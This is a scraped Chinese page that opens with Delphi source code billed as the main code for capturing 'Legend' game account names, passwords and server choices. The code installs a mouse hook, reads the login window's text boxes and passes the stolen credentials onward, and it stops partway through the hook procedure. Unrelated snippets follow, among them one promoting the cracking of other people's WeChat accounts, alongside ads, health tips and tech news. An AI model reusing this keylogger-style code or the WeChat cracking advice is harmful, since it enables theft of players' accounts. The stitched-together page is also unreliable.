获取“传奇”密码、区域、服务器的主要代码
unit unitHook;
interface
……
function EnableHook:Boolean;stdcall //有效钩子程序
function DisableHook:Boolean;stdcall; //无效钩子程序
……
implementation
……
//列举子窗体的回调函数
function EnumChildWindowsProc(hChild: HWnd): Boolean; stdcall;
var
szClassName: array[0..255] of char;
begin
Result := True; //设定为True才会再找下一个
GetClassName(hChild, szClassName, 255);
if StrPas(szClassName)='TEdit' then begin
inc(numEdit);
if numEdit=1 then
hEdit2:= hChild //密码
else if numEdit=2 then
hEdit1:= hChild //账号
end;
end;
//取密码
procedure GetPassword;
var
ss,ID,PW:string;
begin
numEdit:=0;//识别TEdit控件数量
EnumChildWindows(hActiv, @EnumChildWindowsProc, 0);//列举控件
if numEdit=2 then begin
ID:=trim(GetCaption(hEdit1));
PW:=trim(GetCaption(hEdit2));
if (ID<>'')and(PW<>'') then begin
nNext:=3;
ss:=Format('账号=%s,密码=%s',[ID,PW])+' '+FormatDateTime('yyyy-mm-dd hh:nn:ss',Now);
StrCopy(@pShMem^.Text,PChar(ss));
PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 2, 2); //通知
end;
end;
end;
//取服务器名
procedure GetServerName;
const
x1=310;x2=477;
y1=144;
d=3; //服务器名按钮间隔
step=42; //服务器名按钮步长
var
P : TPoint;
yy, n1, n2 : integer;
IniFileName, Ident, ss : string;
begin
GetCursorPos(P); //获取当前鼠标的坐标
if (p.X<x1) or (p.X>x2) or (p.Y<y1) then exit; //鼠标点击不在服务器名的区域中
yy:=p.Y-y1;
n1:=yy div step;
n2:=(yy+d) div step;
if n1=n2 then inc(n1)
else n1:=0;
if n1=0 then exit; //鼠标点击不在服务器名上
IniFileName:=ExtractFilePath(ParamStr(0))+'ftp.ini';
Ident:='server'+IntToStr(n1)+'caption';
ss:=ReadStringFromIniFile(IniFileName,Ident);
if ss<>'' then begin
ss:=ss+' '+FormatDateTime('yyyy-mm-dd hh:nn:ss',Now);
StrCopy(@pShMem^.Text,PChar('服务器='+ss));
//PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 2, 2); //通知
PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 10, 2); //通知取信息,并反馈发送
end;
end;
//鼠标钩子过程,由判断鼠标的动作来决定writetotxt
//参数分别是钩子代码,wParam鼠标消息号,lParam指向一个MOUSEHOOKSTRUCT (包含了有关鼠标事件的信息)
function MouseHookPro(iCode:integer; wParam:wparam; lParam:lparam): LResult;stdcall;export;
破解登录别人的微信1、首先要知道另一方账户密码。前提条件,否则以后没必要操作。 怎么破解登录别人的微信(专业盗微信号软件下载) 2、另一方未开启账户保护。如果另一方微信开启了账号保护功用,在陌生的...
有的人钟情于节目里简朴舒适的惬意糊口,有的人享受那世外桃源般清净的糊口情况,而告白人看的则是文案。 作者:杜少君 来历:微信公家号:“告白洞察(ID:admen888)”打开一档最近喜欢的综艺,好像...
慢性咽喉炎、痔疮以及老胃病并称人生三大顽症,不是大病,但总也治不好,是没有弄清楚发病机理,找不到病因吗,当然不是,这三者很难除根的原因是发病的原因天天都存在而且不能停止,比如痔疮,如果患者一个月不解大...
很多科技文章都预测苹果除了4.7寸和5.5寸的新款iPhone将发布之外,还有可能推出一款可穿戴智能设备,由于苹果公司已在2014年7月获得一项智能手表专利,因此这款可穿戴智能设备很可能会是一款智能手...
3月7日消息,谷歌威胁分析团队的研究员Clement Lecigne 在Chrome中发现并报告了一个高危漏洞,可导致远程攻击者执行任意代码并完全控制计算机。研究人员称,此次Chrome的漏洞编号为C...
很多人了解阿胶糕是补气血的补气血的妙品。要想做到非常好的补气血的实际效果就需要必须恰当的方式 。单吃阿胶的作用并不算太大。那麼阿胶怎么吃补气血最好是 阿胶的作用是啥。产生有关详细介绍。 阿胶怎么吃...